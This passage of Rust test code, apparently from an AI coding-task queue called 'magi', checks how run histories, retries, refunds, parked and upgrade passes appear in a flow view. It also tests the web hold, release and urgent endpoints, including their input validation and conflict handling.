17760    fn flow_follows_blocked_retry_merged_to_done() {
17761        let mut t = flow_task(&[FA, FB]);
17762        t.status = TaskStatus::Done;
17763        let f = flow_for(
17764            &t,
17765            &[
17766                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17767                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17768            ],
17769        );
17770        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17771        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17772        assert_eq!(f.edges.len(), 3);
17773        assert_eq!(f.edges[0].label, "claimed");
17774        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17775        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17776        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17777        assert_eq!(
17778            f.nodes[2].href.as_deref(),
17779            Some("#/runs/20260902-140502-bbbb")
17780        );
17781        assert!(f.nodes[2].decided);
17782    }
17783
17784    #[test]
17785    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17786        let quota = || {
17787            flow_run(RunStatus::Stalled, |s| {
17788                s.quota.push(crate::run::QuotaLoss {
17789                    cause: crate::agent::QuotaCause::UsageLimit,
17790                    agent: String::new(),
17791                    seat: "judge-1".to_owned(),
17792                    node: "judge".to_owned(),
17793                    at: Timestamp::now(),
17794                    reset: None,
17795                })
17796            })
17797        };
17798        let mut t = flow_task(&[FA, FA]);
17799        t.status = TaskStatus::Queued;
17800        let f = flow_for(&t, &[(FA, Some(quota()))]);
17801        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17802        assert_eq!(f.nodes[1].note, Some("interrupted"));
17803        assert_eq!(
17804            f.nodes[1].status, None,
17805            "no outcome copied onto an earlier pass"
17806        );
17807        assert_eq!(
17808            f.edges[1].attempt,
17809            AttemptCost::Unknown,
17810            "a resume does not prove the earlier pass was refunded"
17811        );
17812        assert!(f.edges[1].label.contains("resume the same run"));
17813        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17814        assert_eq!(
17815            f.edges[2].label,
17816            "stalled after a resume, refund unknown \u{2192} queued"
17817        );
17818        assert!(!f.nodes[2].decided, "a stall is not a decision");
17819        assert_eq!(f.nodes[2].note, Some("no verdict"));
17820    }
17821
17822    #[test]
17823    fn flow_single_pass_quota_stall_is_refunded() {
17824        let t = flow_task(&[FA]);
17825        let f = flow_for(
17826            &t,
17827            &[(
17828                FA,
17829                Some(flow_run(RunStatus::Stalled, |s| {
17830                    s.quota.push(crate::run::QuotaLoss {
17831                        cause: crate::agent::QuotaCause::UsageLimit,
17832                        agent: String::new(),
17833                        seat: "judge-1".to_owned(),
17834                        node: "judge".to_owned(),
17835                        at: Timestamp::now(),
17836                        reset: None,
17837                    })
17838                })),
17839            )],
17840        );
17841        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17842    }
17843
17844    #[test]
17845    fn flow_parked_refunds_and_stall_without_quota_spends() {
17846        let mut t = flow_task(&[FA]);
17847        t.status = TaskStatus::Queued;
17848        let f = flow_for(
17849            &t,
17850            &[(
17851                FA,
17852                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17853            )],
17854        );
17855        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17856        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17857        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17858        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17859        assert!(!f.nodes[1].decided);
17860    }
17861
17862    #[test]
17863    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17864        let t = flow_task(&[FA, FB]);
17865        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17866        assert_eq!(f.nodes[1].note, Some("unreadable"));
17867        assert!(!f.nodes[1].readable);
17868        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17869        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17870    }
17871
17872    #[test]
17873    fn flow_names_the_branch_of_a_review_only_run() {
17874        let t = flow_task(&[FA]);
17875        let f = flow_for(
17876            &t,
17877            &[(
17878                FA,
17879                Some(flow_run(RunStatus::Merged, |s| {
17880                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17881                })),
17882            )],
17883        );
17884        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17885        assert_eq!(
17886            f.nodes[1].detail.as_deref(),
17887            Some("review-only run of branch magi/x/A")
17888        );
17889    }
17890
17891    #[test]
17892    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17893        let mut t = flow_task(&[FA]);
17894        t.status = TaskStatus::Held;
17895        let pr = crate::run::PrRecord {
17896            url: "https://example.test/pr/1".to_owned(),
17897            number: 1,
17898            state: "open".to_owned(),
17899            checks: "green".to_owned(),
17900            round: 0,
17901            rounds: 3,
17902            red_at_merge: Vec::new(),
17903        };
17904        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17905        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17906        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17907        t.status = TaskStatus::Done;
17908        let f = flow_for(&t, &[(FA, Some(blocked))]);
17909        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17910    }
17911
17912    #[test]
17913    fn flow_with_no_runs_goes_from_queued_to_queued() {
17914        let t = flow_task(&[]);
17915        let f = flow_for(&t, &[]);
17916        assert_eq!(f.nodes.len(), 2);
17917        assert_eq!(f.edges.len(), 1);
17918        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17919        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17920    }
17921
17922    /// A run parked mid-flight keeps a non-terminal status; the page must
17923    /// still say why it stopped and that the attempt came back.
17924    #[test]
17925    fn a_parked_non_terminal_run_is_explained_as_parked() {
17926        let mut s = RunState::new(
17927            PathBuf::from("/repo/magi"),
17928            "main".to_owned(),
17929            "0123456789abcdef".to_owned(),
17930            "Do it".to_owned(),
17931            Config::default(),
17932        );
17933        s.status = RunStatus::Implementing;
17934        s.parked = true;
17935        let task = Task::new(
17936            "t".to_owned(),
17937            "Do it".to_owned(),
17938            PathBuf::from("/repo/magi"),
17939            Source::Human,
17940        );
17941        let v = task_run_view(
17942            "20260902-140501-aaaa",
17943            Some(&s),
17944            RunSlot {
17945                n: 1,
17946                resumed: false,
17947                resumed_later: None,
17948                prior: None,
17949                last: true,
17950                ..RunSlot::default()
17951            },
17952            &task,
17953        );
17954        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17955    }
17956
17957    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17958        let mut s = flow_run(RunStatus::Implementing, edit);
17959        s.parked = false;
17960        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17961        task_run_view(
17962            "20260902-140501-aaaa",
17963            Some(&s),
17964            RunSlot {
17965                n: 1,
17966                resumed: false,
17967                resumed_later: Some(2),
17968                prior: None,
17969                last: false,
17970                ..RunSlot::default()
17971            },
17972            &task,
17973        )
17974    }
17975
17976    #[test]
17977    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17978        let v = earlier_pass_view(|_| {});
17979        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17980        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17981        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17982        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17983        assert_eq!(v.exit, RunExit::Interrupted);
17984        assert_eq!(v.attempt, AttemptCost::Unknown);
17985    }
17986
17987    #[test]
17988    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17989        let v = earlier_pass_view(|s| {
17990            s.quota.push(crate::run::QuotaLoss {
17991                cause: crate::agent::QuotaCause::UsageLimit,
17992                agent: String::new(),
17993                seat: "judge-1".to_owned(),
17994                node: "judge".to_owned(),
17995                at: Timestamp::now(),
17996                reset: None,
17997            });
17998        });
17999        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
18000        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
18001        assert_eq!(v.attempt, AttemptCost::Unknown);
18002    }
18003
18004    #[test]
18005    fn the_current_pass_states_its_recorded_cause_and_cost() {
18006        let slot = || RunSlot {
18007            n: 1,
18008            resumed: false,
18009            resumed_later: None,
18010            prior: None,
18011            last: true,
18012            ..RunSlot::default()
18013        };
18014        let task = flow_task(&["20260902-140501-aaaa"]);
18015        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
18016        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
18017        assert_eq!(
18018            (v.exit, v.attempt),
18019            (RunExit::Parked, AttemptCost::Refunded)
18020        );
18021        let spent = flow_run(RunStatus::Blocked, |_| {});
18022        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
18023        assert_eq!(v.attempt, AttemptCost::Spent);
18024        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
18025    }
18026
18027    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
18028        crate::run::RunPass {
18029            index,
18030            started_at: Timestamp::now(),
18031            resumed: index > 0,
18032            ended_at: end.as_ref().map(|_| Timestamp::now()),
18033            end,
18034            task_entry: true,
18035        }
18036    }
18037
18038    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
18039        Some(crate::run::PassEnd::Parked { cause })
18040    }
18041
18042    fn upgrade_cause() -> crate::run::ParkCause {
18043        crate::run::ParkCause::Upgrade {
18044            from: "0.121.0".to_owned(),
18045            to: Some("0.121.1".to_owned()),
18046        }
18047    }
18048
18049    fn settled_pass(
18050        run: &str,
18051        index: usize,
18052        cost: crate::queue::PassCost,
18053    ) -> crate::queue::TaskPass {
18054        crate::queue::TaskPass {
18055            run: run.to_owned(),
18056            pass_index: index,
18057            started_at: None,
18058            cost,
18059            attempts_after: 1,
18060            settled_at: Timestamp::now(),
18061            parked: None,
18062        }
18063    }
18064
18065    const RUN_X: &str = "20261011-223708-4334";
18066
18067    #[test]
18068    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18069        use crate::queue::PassCost;
18070        let run = flow_run(RunStatus::Implementing, |s| {
18071            s.passes = vec![
18072                recorded_pass(0, parked(upgrade_cause())),
18073                recorded_pass(1, None),
18074            ];
18075        });
18076        let mut task = flow_task(&[RUN_X, RUN_X]);
18077        task.attempts = 1;
18078        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18079        let h = task_history(&task, |_| Some(run.clone()));
18080        assert_eq!(h.len(), 2);
18081        assert_eq!(h[0].kind, "competition");
18082        assert_eq!(h[1].kind, "resume");
18083        assert_eq!(
18084            (h[0].exit, h[0].attempt),
18085            (RunExit::Parked, AttemptCost::Refunded)
18086        );
18087        assert!(
18088            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18089            "{}",
18090            h[0].outcome
18091        );
18092        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18093        assert!(
18094            h[0].outcome.contains("pass #2 resumed the same run"),
18095            "{}",
18096            h[0].outcome
18097        );
18098        assert!(
18099            h[0].outcome.contains("pass 1 of 2 over run"),
18100            "{}",
18101            h[0].outcome
18102        );
18103        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18104        assert_eq!(
18105            h[0].exit_label,
18106            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18107        );
18108        let f = task_flow(&task, &h, 2, None);
18109        // Two passes of one run, one of two attempts consumed.
18110        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18111        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18112        assert!(
18113            f.edges[1].label.contains("upgrade 0.121.0"),
18114            "{}",
18115            f.edges[1].label
18116        );
18117        assert!(
18118            f.edges[1].label.contains("resume the same run"),
18119            "{}",
18120            f.edges[1].label
18121        );
18122        assert_eq!(f.nodes[1].note, Some("parked"));
18123    }
18124
18125    #[test]
18126    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18127        let mut a = flow_run(RunStatus::Implementing, |s| {
18128            s.passes = vec![
18129                recorded_pass(0, parked(upgrade_cause())),
18130                recorded_pass(1, None),
18131            ];
18132        });
18133        let mut b = flow_run(RunStatus::Failed, |s| {
18134            s.passes = vec![recorded_pass(0, None)];
18135        });
18136        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18137        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18138        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18139        let mut task = flow_task(&[]);
18140        task.start("a".into());
18141        task.start("b".into());
18142        task.start("a".into());
18143        assert_eq!(task.runs, ["b", "a"]);
18144        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18145        let h = task_history(&task, |id| {
18146            Some(if id == "a" { a.clone() } else { b.clone() })
18147        });
18148        assert_eq!(
18149            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18150            ["a", "b", "a"]
18151        );
18152        assert_eq!(h[0].attempt, AttemptCost::Refunded);
18153        assert!(h[0].outcome.contains("upgrade"));
18154        assert_eq!(h[2].kind, "resume");
18155        assert!(h[2].pass.is_some());
18156        // The old repeated-id format must show the same recorded passes.
18157        task.runs = vec!["a".into(), "b".into(), "a".into()];
18158        let old = task_history(&task, |id| {
18159            Some(if id == "a" { a.clone() } else { b.clone() })
18160        });
18161        assert_eq!(
18162            old.iter()
18163                .map(|v| (&v.id, &v.kind, v.attempt))
18164                .collect::<Vec<_>>(),
18165            h.iter()
18166                .map(|v| (&v.id, &v.kind, v.attempt))
18167                .collect::<Vec<_>>()
18168        );
18169    }
18170
18171    #[test]
18172    fn an_upgrade_whose_target_was_not_known_says_so() {
18173        let run = flow_run(RunStatus::Implementing, |s| {
18174            s.passes = vec![
18175                recorded_pass(
18176                    0,
18177                    parked(crate::run::ParkCause::Upgrade {
18178                        from: "0.121.0".to_owned(),
18179                        to: None,
18180                    }),
18181                ),
18182                recorded_pass(1, None),
18183            ];
18184        });
18185        let task = flow_task(&[RUN_X, RUN_X]);
18186        let h = task_history(&task, |_| Some(run.clone()));
18187        assert!(
18188            h[0].outcome.contains("upgrade from 0.121.0"),
18189            "{}",
18190            h[0].outcome
18191        );
18192        // No settle record: the refund is not claimed.
18193        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18194    }
18195
18196    #[test]
18197    fn each_pass_keeps_its_own_cause_across_several_resumes() {
18198        use crate::queue::PassCost;
18199        use crate::run::ParkCause;
18200        let run = flow_run(RunStatus::Implementing, |s| {
18201            s.passes = vec![
18202                recorded_pass(0, parked(upgrade_cause())),
18203                recorded_pass(
18204                    1,
18205                    parked(ParkCause::Interrupt {
18206                        reason: "task a1b2 asked to run first".to_owned(),
18207                    }),
18208                ),
18209                recorded_pass(2, parked(ParkCause::Operator)),
18210                recorded_pass(3, None),
18211            ];
18212        });
18213        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18214        task.attempts = 1;
18215        task.passes = (0..3)
18216            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18217            .collect();
18218        let h = task_history(&task, |_| Some(run.clone()));
18219        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18220        assert!(
18221            h[1].outcome.contains("task a1b2 asked to run first"),
18222            "{}",
18223            h[1].outcome
18224        );
18225        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18226        assert!(
18227            h[2].outcome.contains("operator asked the loop to park"),
18228            "{}",
18229            h[2].outcome
18230        );
18231        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18232        let f = task_flow(&task, &h, 2, None);
18233        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18234    }
18235
18236    #[test]
18237    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18238        let run = flow_run(RunStatus::Implementing, |s| {
18239            s.passes = vec![
18240                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18241                recorded_pass(1, None),
18242            ];
18243        });
18244        let task = flow_task(&[RUN_X, RUN_X]);
18245        let h = task_history(&task, |_| Some(run.clone()));
18246        assert_eq!(h[0].exit, RunExit::Interrupted);
18247        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18248        assert!(
18249            h[0].outcome.contains("without recording why"),
18250            "{}",
18251            h[0].outcome
18252        );
18253        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18254        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18255    }
18256
18257    #[test]
18258    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18259        use crate::queue::PassCost;
18260        // Three entries, but the run only began keeping passes at the last
18261        // two: the first is legacy and must not be given a cause.
18262        let run = flow_run(RunStatus::Implementing, |s| {
18263            s.passes = vec![
18264                recorded_pass(0, parked(upgrade_cause())),
18265                recorded_pass(1, None),
18266            ];
18267        });
18268        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18269        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18270        let h = task_history(&task, |_| Some(run.clone()));
18271        assert!(h[0].pass.is_none());
18272        assert_eq!(h[0].exit, RunExit::Interrupted);
18273        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18274        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18275        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18276        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18277        // A run with no passes at all is entirely unknown.
18278        let legacy = flow_run(RunStatus::Implementing, |_| {});
18279        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18280        assert!(h.iter().all(|v| v.pass.is_none()));
18281        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18282    }
18283
18284    #[test]
18285    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18286        use crate::queue::PassCost;
18287        // Pass 1 is a web-button resume: a pass of the run, no entry of the
18288        // task. The two entries are passes 0 and 2.
18289        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18290        web.task_entry = false;
18291        let run = flow_run(RunStatus::Implementing, |s| {
18292            s.passes = vec![
18293                recorded_pass(0, parked(upgrade_cause())),
18294                web.clone(),
18295                recorded_pass(2, None),
18296            ];
18297        });
18298        let mut task = flow_task(&[RUN_X, RUN_X]);
18299        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18300        let h = task_history(&task, |_| Some(run.clone()));
18301        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18302        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18303
18304        // Legacy first entry, then a web resume that parked for an upgrade,
18305        // then the daemon's pass: the legacy entry must stay unknown.
18306        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18307        web0.task_entry = false;
18308        let run = flow_run(RunStatus::Implementing, |s| {
18309            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18310        });
18311        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18312        assert!(h[0].pass.is_none());
18313        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18314        assert!(h[1].pass.is_some());
18315    }
18316
18317    #[tokio::test]
18318    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18319        let dir = tempfile::tempdir().unwrap();
18320        let queue = Queue::at(dir.path().join("queue"));
18321        let ui = Arc::new(Ui::new(
18322            queue.clone(),
18323            Questions::at(dir.path().join("questions")),
18324            Talks::at(dir.path().join("talks")),
18325            dir.path().join("runs"),
18326            dir.path().to_path_buf(),
18327            dir.path().to_path_buf(),
18328        ));
18329        let mut t = Task::new(
18330            "recover".into(),
18331            "Inspect".into(),
18332            PathBuf::from("."),
18333            Source::Human,
18334        );
18335        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18336        t.start("run-A".into());
18337        t.release_operator("choice", Some("resume-question"));
18338        t.resume_override = Some(crate::queue::OperatorResume {
18339            question_id: "resume-question".into(),
18340            at: jiff::Timestamp::now(),
18341            conductor_rehold: None,
18342            forced: true,
18343            pinned_run: Some("run-A".into()),
18344        });
18345        t.hold_machine(Some("inspection pending".into()));
18346        t.edit("recover".into(), "Reuse approved PR head".into())
18347            .unwrap();
18348        queue.put(&mut t).unwrap();
18349        let mut cli = t.clone();
18350        cli.release_operator("cli", None);
18351        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18352        let reloaded = queue.get(&t.id).unwrap();
18353        assert_eq!(reply.task.status, TaskStatus::Queued);
18354        assert!(reloaded.resume_override.is_none());
18355        assert_eq!(reloaded.answers, t.answers);
18356        let mut web = reloaded.resumption.unwrap();
18357        let cli = cli.resumption.unwrap();
18358        assert_eq!(web.source, "web");
18359        web.source = cli.source.clone();
18360        web.at = cli.at;
18361        assert_eq!(web, cli);
18362    }
18363
18364    #[tokio::test]
18365    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18366        let f = Fixture::start().await;
18367        let queue = f.queue();
18368        let mut task = Task::new(
18369            "spent".to_owned(),
18370            "Try again".to_owned(),
18371            PathBuf::from("/repo/magi"),
18372            Source::Human,
18373        );
18374        task.start("20260902-140502-bbbb".to_owned());
18375        task.fail("agent gave up", 9);
18376        queue.put(&mut task).expect("file the task");
18377
18378        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18379        assert_eq!(held.status, 200);
18380        assert_eq!(held.json()["status_str"], "held");
18381
18382        let released = f
18383            .post(&format!("/api/queue/{}/release", task.id), None)
18384            .await;
18385        assert_eq!(released.status, 200);
18386        assert_eq!(released.json()["status_str"], "queued");
18387        assert_eq!(released.json()["resumption"]["source"], "web");
18388        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18389        let mut cli = task.clone();
18390        cli.release_operator("cli", None);
18391        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18392        let cli = cli.resumption.unwrap();
18393        assert_eq!(web.instruction, cli.instruction);
18394        assert_eq!(web.answers_through, cli.answers_through);
18395        assert_eq!(web.runs_through, cli.runs_through);
18396        assert_eq!(web.cleared_reason, cli.cleared_reason);
18397        assert_eq!(
18398            released.json()["attempts"],
18399            0,
18400            "release is a real second chance, not an instant re-hold"
18401        );
18402        assert_eq!(
18403            queue.get(&task.id).expect("reload").status,
18404            TaskStatus::Queued,
18405            "the change is on disk, not only in the reply"
18406        );
18407        assert!(
18408            !f.home
18409                .path()
18410                .join("queue")
18411                .join(format!("{}.lock", task.id))
18412                .exists(),
18413            "the claim the mutation took is released again"
18414        );
18415    }
18416
18417    #[tokio::test]
18418    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18419        let f = Fixture::start().await;
18420        let queue = f.queue();
18421        let mut task = Task::new(
18422            "busy".to_owned(),
18423            "Running right now".to_owned(),
18424            PathBuf::from("/repo/magi"),
18425            Source::Human,
18426        );
18427        queue.put(&mut task).expect("file the task");
18428        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18429
18430        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18431
18432        assert_eq!(res.status, 409);
18433        assert_eq!(
18434            queue.get(&task.id).expect("reload").status,
18435            TaskStatus::Queued,
18436            "the refused hold changed nothing"
18437        );
18438    }
18439
18440    #[tokio::test]
18441    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18442        let f = Fixture::start().await;
18443        let queue = f.queue();
18444        let mut task = Task::new(
18445            "waiting on the migration".to_owned(),
18446            "Do the thing".to_owned(),
18447            PathBuf::from("/repo/magi"),
18448            Source::Human,
18449        );
18450        queue.put(&mut task).expect("file the task");
18451
18452        let held = f
18453            .post(
18454                &format!("/api/queue/{}/hold", task.id),
18455                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18456            )
18457            .await;
18458        assert_eq!(held.status, 200, "{}", held.body);
18459        assert_eq!(held.json()["status_str"], "held");
18460        assert_eq!(
18461            held.json()["hold_reason"],
18462            "waiting for 20260101-000000-aaaa to land"
18463        );
18464
18465        let listed = f.get("/api/queue").await.json();
18466        assert_eq!(
18467            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18468            "the card reads the reason off the same list route"
18469        );
18470
18471        // A hold with no body at all must keep working - most holds have no
18472        // reason to give.
18473        let mut plain = Task::new(
18474            "no reason given".to_owned(),
18475            "Do another thing".to_owned(),
18476            PathBuf::from("/repo/magi"),
18477            Source::Human,
18478        );
18479        queue.put(&mut plain).expect("file the task");
18480        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18481        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18482        assert!(held_plain.json()["hold_reason"].is_null());
18483
18484        let released = f
18485            .post(&format!("/api/queue/{}/release", task.id), None)
18486            .await;
18487        assert_eq!(released.status, 200);
18488        assert!(
18489            released.json()["hold_reason"].is_null(),
18490            "a release must clear the reason so the next hold does not inherit it"
18491        );
18492    }
18493
18494    #[test]
18495    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18496        for urgent in [true, false] {
18497            let body: UrgentBody =
18498                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18499            assert_eq!(body.urgent, urgent);
18500        }
18501        for input in [
18502            r#"{}"#,
18503            r#"{"urgent":null}"#,
18504            r#"{"urgent":"true"}"#,
18505            r#"{"urgent":1}"#,
18506            r#"{"urgent":true,"extra":false}"#,
18507        ] {
18508            assert!(
18509                serde_json::from_str::<UrgentBody>(input).is_err(),
18510                "{input}"
18511            );
18512        }
18513    }
18514
18515    #[tokio::test]
18516    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18517        let home = TempDir::new().unwrap();
18518        let q = Queue::at(home.path().join("queue"));
18519        let ui = Arc::new(Ui::new(
18520            q.clone(),
18521            Questions::at(home.path().join("questions")),
18522            Talks::at(home.path().join("talks")),
18523            home.path().join("runs"),
18524            home.path().into(),
18525            home.path().into(),
18526        ));
18527        let mut task = Task::new(
18528            "urgent handler".into(),
18529            "keep".into(),
18530            home.path().into(),
18531            Source::Human,
18532        );
18533        for status in [TaskStatus::Queued, TaskStatus::Held] {
18534            task.status = status;
18535            q.put(&mut task).unwrap();
18536            for urgent in [true, true, false, false] {
18537                let saved = queue_urgent(
18538                    State(Arc::clone(&ui)),
18539                    Path(task.short().into()),
18540                    Ok(Json(UrgentBody { urgent })),
18541                )
18542                .await
18543                .unwrap();
18544                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18545                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18546            }
18547        }
18548        task.status = TaskStatus::Queued;
18549        q.put(&mut task).unwrap();
18550        let claim = q.claim(&task.id).unwrap();
18551        let error = queue_urgent(
18552            State(Arc::clone(&ui)),
18553            Path(task.id.clone()),
18554            Ok(Json(UrgentBody { urgent: true })),
18555        )
18556        .await
18557        .unwrap_err();
18558        assert_eq!(error.status, StatusCode::CONFLICT);
18559        assert!(error.message.contains("released"));
18560        drop(claim);
18561        for status in [
18562            TaskStatus::Running,
18563            TaskStatus::Done,
18564            TaskStatus::Failed,
18565            TaskStatus::Blocked,
18566            TaskStatus::Parked,
18567        ] {
18568            task.status = status;
18569            q.put(&mut task).unwrap();
18570            let error = queue_urgent(
18571                State(Arc::clone(&ui)),
18572                Path(task.id.clone()),
18573                Ok(Json(UrgentBody { urgent: false })),
18574            )
18575            .await
18576            .unwrap_err();
18577            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18578            assert!(error.message.contains(status.as_str()));
18579        }
18580    }
18581
18582    #[tokio::test]
18583    async fn urgent_api_updates_preserves_and_validates_tasks() {
18584        let f = Fixture::start().await;
18585        let q = f.queue();
18586        let mut t = Task::new(
18587            "urgent API".into(),
18588            "unchanged".into(),
18589            PathBuf::from("/repo/magi"),
18590            Source::Human,
18591        );
18592        t.attempts = 2;
18593        t.priority = 9;
18594        t.interrupt = true;
18595        t.hold_reason = Some("waiting for approval".into());
18596        for status in [TaskStatus::Queued, TaskStatus::Held] {
18597            t.status = status;
18598            q.put(&mut t).unwrap();
18599            for urgent in [true, true, false, false] {
18600                let response = f
18601                    .post(
18602                        &format!("/api/queue/{}/urgent", t.short()),
18603                        Some(&format!("{{\"urgent\":{urgent}}}")),
18604                    )
18605                    .await;
18606                assert_eq!(response.status, 200, "{}", response.body);
18607                assert_eq!(response.json()["urgent"], urgent);
18608                let saved = q.get(&t.id).unwrap();
18609                let mut before = serde_json::to_value(&t).unwrap();
18610                let mut after = serde_json::to_value(saved).unwrap();
18611                before["urgent"] = urgent.into();
18612                before.as_object_mut().unwrap().remove("updated_at");
18613                after.as_object_mut().unwrap().remove("updated_at");
18614                assert_eq!(after, before);
18615            }
18616        }
18617        let route = format!("/api/queue/{}/urgent", t.id);
18618        for body in [
18619            r#"{}"#,
18620            r#"{"urgent":null}"#,
18621            r#"{"urgent":"true"}"#,
18622            r#"{"urgent":1}"#,
18623            r#"{"urgent":true,"extra":false}"#,
18624            "{",
18625        ] {
18626            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18627        }
18628        t.status = TaskStatus::Queued;
18629        q.put(&mut t).unwrap();
18630        let claim = q.claim(&t.id).unwrap();
18631        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18632        assert_eq!(response.status, 409, "{}", response.body);
